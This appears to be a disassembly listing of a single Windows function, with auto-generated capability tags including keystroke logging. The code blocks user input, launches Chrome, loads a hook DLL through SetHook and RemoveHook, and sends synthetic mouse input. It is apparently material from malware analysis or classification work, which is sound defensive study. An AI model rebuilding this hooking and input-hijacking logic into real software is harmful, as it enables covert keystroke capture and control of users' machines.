Function at 0x407b00
Capabilities:
Check if file exists
Create process on windows
Create thread
Get file attributes
Log keystrokes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x442aed
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x80
mov eax, dword [0x459004]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [0x45b92c], 0
jne 0x407b54
mov eax, 2
jmp 0x407fa6
mov esi, dword [sym.imp.USER32.dll_BlockInput]
push 0
call esi
push 0x45b91c
lea ecx, [ebp - 0x2c]
mov dword [0x45b8fc], 0
mov dword [0x45b9bc], 0
mov dword [0x45b9c0], 0
call fcn.004094e0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x18]
mov eax, ecx
mov edi, dword [ebp - 0x1c]
sub eax, edi
cmp eax, 0xb
jb 0x407bd1
cmp ecx, 8
lea esi, [ebp - 0x2c]
lea eax, [edi + 0xb]
cmovae esi, dword [ebp - 0x2c]
push 0x16
mov dword [ebp - 0x1c], eax
push str.chrome.exe
lea eax, [esi + edi*2]
push eax
call fcn.00423fe0
add esp, 0xc
xor eax, eax
mov word [esi + edi*2 + 0x16], ax
mov esi, dword [sym.imp.USER32.dll_BlockInput]
jmp 0x407be9
push 0xb
push str.chrome.exe
mov byte [ebp - 0x30], 0
lea ecx, [ebp - 0x2c]
push dword [ebp - 0x30]
push 0xb
call fcn.00409de0
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x407c13
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x407c13
lea esi, [eax + 1]
jmp 0x407f6e
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
xorps xmm0, xmm0
mov dword [ebp - 0x84], 0
cmovae eax, dword [ebp - 0x2c]
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x8c]
push eax
movlpd qword [ebp - 0x6c], xmm0
movlpd qword [ebp - 0x64], xmm0
movlpd qword [ebp - 0x5c], xmm0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x8c], 0x3c
mov dword [ebp - 0x88], 0x40
mov dword [ebp - 0x80], str.open
mov dword [ebp - 0x78], str.about:blank
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 3
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x407edd
push dword [ebp - 0x54]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, 0xc8
mov ecx, 1
call fcn.00402510
mov ecx, 1
call fcn.00402630
push 1
call edi
sub esi, 1
jne 0x407ca1
push 0x12c
call edi
push 0x12c
mov dword [0x45b9bc], 1
call edi
lea ecx, [esi + 1]
call fcn.00402630
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
push dword [0x45b8fc]
mov esi, eax
mov dword [ebp - 0x34], esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 1
push eax
push esi
mov dword [ebp - 0x30], eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
xor ecx, ecx
call fcn.00402510
cmp dword [0x45b8fc], 0
jne 0x407d1e
mov esi, 7
jmp 0x407f6e
push str.hookDll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SetHook
push eax
mov dword [0x45b964], eax
call esi
mov dword [0x45b9b8], eax
call eax
push 0
push 0
push 7
push dword [0x45b8fc]
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [0x45b964]
test eax, eax
je 0x407d91
push str.RemoveHook
push eax
call esi
mov dword [0x45b9b8], eax
test eax, eax
je 0x407d91
call eax
push dword [0x45b964]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [0x45b9b8], 0
mov dword [0x45b964], 0
push 0x12c
call edi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
xorps xmm0, xmm0
push 0
movlpd qword [ebp - 0x3c], xmm0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x44], 0
call esi
mov ecx, eax
mov eax, 0x10000
cdq
idiv ecx
push 1
imul ecx, eax, 0x1f4
mov dword [ebp - 0x4c], ecx
call esi
mov ecx, eax
mov esi, dword [sym.imp.USER32.dll_SendInput]
mov eax, 0x10000
mov dword [ebp - 0x40], 0x8003
cdq
idiv ecx
push 0x1c
imul eax, eax, 0x12c
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x50]
push eax
push 1
call esi
push 0x32
call edi
push 0x1c
lea eax, [ebp - 0x50]
mov dword [ebp - 0x50], 0
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
push eax
push 1
movlpd qword [ebp - 0x4c], xmm0
movlpd qword [ebp - 0x3c], xmm0
mov dword [ebp - 0x40], 4
call esi
push 0xfa
call edi
push 0
push 0
push 0x402a60
call fcn.00427983
add esp, 0xc
mov dword [0x45b8ec], eax
push 2
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0x9c4
call edi
call fcn.004060a0
push 0x3e8
mov dword [0x45b9c0], 1
mov dword [0x45b9bc], 1
call edi
xor ecx, ecx
call fcn.00402510
xor ecx, ecx
call fcn.00402630
push 0
push dword [ebp - 0x30]
push dword [ebp - 0x34]
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov esi, dword [0x45b8fc]
test esi, esi
je 0x407ed3
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x407ebb
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x1f4
call edi
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x407ed3
push 0
push 0
push 2
push esi
call dword [sym.imp.USER32.dll_PostMessageW]
mov esi, 1
jmp 0x407f6e
xor ecx, ecx
mov dword [0x45b9bc], 1
call fcn.00402510
mov esi, dword [0x45b8fc]
test esi, esi
je 0x407f31
push esi
call dword [sym.imp.USER32.dll_IsWindow]
mov edi, dword [sym.imp.USER32.dll_PostMessageW]
test eax, eax
je 0x407f1d
push 0
push 0
push 0x10
push esi
call edi
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x407f31
push 0
push 0
push 2
push esi
call edi
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0xa
movups xmmword [ecx], xmm0
push 0x4515dc
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.00409b40
call fcn.00401f30
add esp, 0x18
mov esi, 4
mov ecx, dword [ebp - 0x18]
cmp ecx, 8
jb 0x407fa4
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x407f9a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407fc4
push ecx
push edx
call fcn.0040a3d8
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040a3ca
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0042731b
int3